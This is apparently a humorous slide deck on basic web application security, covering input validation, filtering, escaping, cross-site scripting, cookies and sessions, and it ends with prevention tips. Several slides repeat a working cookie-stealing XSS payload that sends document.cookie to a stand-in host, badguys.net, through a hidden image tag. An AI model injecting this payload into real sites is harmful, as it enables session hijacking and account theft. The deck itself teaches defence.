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Basic Web Application Security

Learn the fundamental strategies for securing web applications through effective user input validation, passive filtering, and escaping transport points. Explore the dangers of XSS attacks, the importance of cookie security, and tips for preventing shenanigans. Find out how to mitigate security issues like Cross-Site Scripting and data manipulation with practical examples and solutions.

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Basic Web Application Security

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  1. Basic WebApplicationSecurity

  2. User Input

  3. Kick Your Arse

  4. Three Ways (All Awesome)

  5. Validation

  6. Passive (No touchy-touchy)

  7. This is a Number. 2

  8. This is not a Number. a

  9. This is really not a Number. <script>alert(‘loldongs’)</script>

  10. Filtering

  11. Destructive (One-Way Street)

  12. Only letting the good stuff in.

  13. or

  14. Keeping out the bad stuff.

  15. What’s the diff? (Bro.)

  16. Both can be error-prone...

  17. What happens when you screw it up? White-Listing  Usability Problems Black-Listing  SecurityProblems (Always a trade-off.)

  18. Escaping

  19. Transport Point A  Point B

  20. Data will be the same on both sides.

  21. Different Media,Different Escaping

  22. HTML <b>Huh.</b> <p><i>&lt;b&gt;Huh.&lt;/b&gt;</i></p> <b>Huh</b>

  23. SQL Sam O’Brien INSERT INTO mah_peeps (name) VALUES (‘Sam O\’Brien‘); 1, Sam O’Brien, 2010-09-02 18:30:00

  24. XSS (Cross-Site Scripting)

  25. SS (XTREME Site Scripting)

  26. Sticking Scripts Where They Don’t Belong. You there, down the back. Stop sniggering.

  27. <script>alert(‘HACKED BY LOLDONGS’)</script> Amateurs!

  28. <script>alert(document.cookie)</script> Hmm.

  29. <script>document.write(‘<imgsrc=“http://badguys.net/logthis.php?d=‘+document.cookie+’” style=“display:none;”>’);</script> Oh shit.

  30. Why is this uncool? (Yeah! Why?)

  31. <script>document.write(‘<imgsrc=“http://badguys.net/logthis.php?d=‘+document.cookie+’” style=“display:none;”>’);</script> Ooooh shit.

  32. <script>document.write(‘<imgsrc=“http://badguys.net/logthis.php?d=‘+document.cookie+’” style=“display:none;”>’);</script> Oooooooooooh shit.

  33. <script>document.write(‘<imgsrc=“http://badguys.net/logthis.php?d=‘+document.cookie+’” style=“display:none;”>’);</script> Oooooooooooooooooh shit.

  34. Why is this really uncool? (Because shut up.)

  35. HTTP Hyper-Text Thingy I-forgot-again

  36. Stateless

  37. No Idea Who You Are.

  38. It can guess.(Badly.) IP Address Browser User-Agent

  39. Sends a cookie with each request. (A basket of goodies that the browser sends faithfully every request.)

  40. The Server puts a unique ID in the basket. PHPSESSID=123your456mum789 __utma=12948.23.4211414.5553 is_a_furry=1

  41. Browser sends the ID every request. PHPSESSID=123your456mum789

  42. <script>document.write(‘<imgsrc=“http://badguys.net/logthis.php?d=‘+document.cookie+’” style=“display:none;”>’);</script> Look again.

  43. THEY HAVE YOUR COOKIE. Ooooooooooooooooooooooo-

  44. Preventing Shenanigans

  45. HTML Validation Really Hard.

  46. HTML Filtering Still Really Hard. • Use a library,eg. HTML Purifier.

  47. HTML Escaping Dead Easy. • Most languages have stuff to handle this, eg. • htmlentities(), cgi.escape(), CGI.escape()

  48. How hard is filtering? (It’s just <script>, right?)

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